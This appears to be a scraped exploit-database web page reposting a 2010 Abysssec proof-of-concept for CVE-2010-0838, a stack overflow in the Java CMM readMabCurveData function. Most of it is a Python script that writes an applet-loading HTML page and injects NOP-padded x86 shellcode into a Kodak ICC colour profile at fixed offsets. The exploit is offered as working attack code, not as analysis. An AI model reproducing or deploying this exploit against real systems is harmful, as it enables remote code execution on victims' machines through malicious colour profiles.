Home / os / win7

[remote exploits] - Java CMM readMabCurveData Stack Overflow

Posted on 20 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Java CMM readMabCurveData Stack Overflow | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: remote exploits | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>========================================
Java CMM readMabCurveData Stack Overflow
========================================

  Title             : Java CMM readMabCurveData stack overflow
  Version           : Java runtime &lt;= 6.19
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.java.com
  Impact            : Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-0838
  MOAUB Number      : MOAUB_20_BA
 
http://www.exploit-db.com/moaub-20-java-cmm-readmabcurvedata-stack-overflow/
http://www.exploit-db.com/sploits/moaub-20-exploit.zip
&#039;&#039;&#039;
 
import sys
 
def main():
    
    try:
        strHTML = &#039;&#039;&#039;
        &lt;HTML&gt;
        &lt;HEAD&gt;
        &lt;/HEAD&gt;
        &lt;BODY&gt;
        &lt;H1&gt;You have exploited!!!&lt;/H1&gt;
        &lt;P&gt;&lt;APPLET code=&quot;Curve.class&quot; WIDTH=&quot;600&quot; HEIGHT=&quot;400&quot;&gt;
        &lt;/APPLET&gt;&lt;/P&gt;
        &lt;/BODY&gt;
        &lt;/HTML&gt;       &#039;&#039;&#039;
        fHTML = open(&#039;index.html&#039;, &#039;w&#039;)
        fHTML.write(strHTML)
        fHTML.close()
        fdR = open(&#039;kodak.icm&#039;, &#039;rb+&#039;)
        strTotal = fdR.read()
        str1 = strTotal[:9154]
        str2 = strTotal[9648:]
        shellcode = &#039;xEBx6Bx5Ax31xC9x6Ax10x52x42x52x51xFFxD0x53x68x7ExD8xE2x73xFFxD6x6Ax00xFFxD0xFFxD7x50x68xA8xA2x4DxBCxFFxD6xE8xDAxFFxFFxFFx00x54x68x65x20x65x78x70x6Cx6Fx69x74x20x77x61x73x20x73x75x63x63x65x73x73x66x75x6Cx21x00x5Ex6Ax30x59x64x8Bx19x8Bx5Bx0Cx8Bx5Bx1Cx8Bx1Bx8Bx5Bx08x53x68x8Ex4Ex0ExECxFFxD6x89xC7xE8xB3xFFxFFxFFx55x53x45x52x33x32x00xE8xD3xFFxFFxFFx53x55x56x57x8Bx6Cx24x18x8Bx45x3Cx8Bx54x05x78x01xEAx8Bx4Ax18x8Bx5Ax20x01xEBxE3x32x49x8Bx34x8Bx01xEEx31xFFxFCx31xC0xACx38xE0x74x07xC1xCFx0Dx01xC7xEBxF2x3Bx7Cx24x14x75xE1x8Bx5Ax24x01xEBx66x8Bx0Cx4Bx8Bx5Ax1Cx01xEBx8Bx04x8Bx01xE8xEBx02x31xC0x5Fx5Ex5Dx5BxC2x08x00&#039;
         
        if len(shellcode) &gt; 494:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(shellcode) &lt;= 494:
            dif = 494 - len(shellcode)
            while dif &gt; 0 :
                shellcode += &#039;x90&#039;
                dif = dif - 1
        fdW= open(&#039;kodak.icm&#039;, &#039;wb+&#039;)
        fdW.write(str1)
        fdW.write(shellcode)
        fdW.write(str2)
        fdW.close()
        fdR.close()
        print &#039;[-] Html file generated&#039;
    except IOError:
        print &#039;[*] Error : An IO error has occurred&#039;
        print &#039;[-] Exiting ...&#039;
        sys.exit(-1)
                 
if __name__ == &#039;__main__&#039;:
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-20]</pre></body></html>

 

TOP

Malware :

Exploits :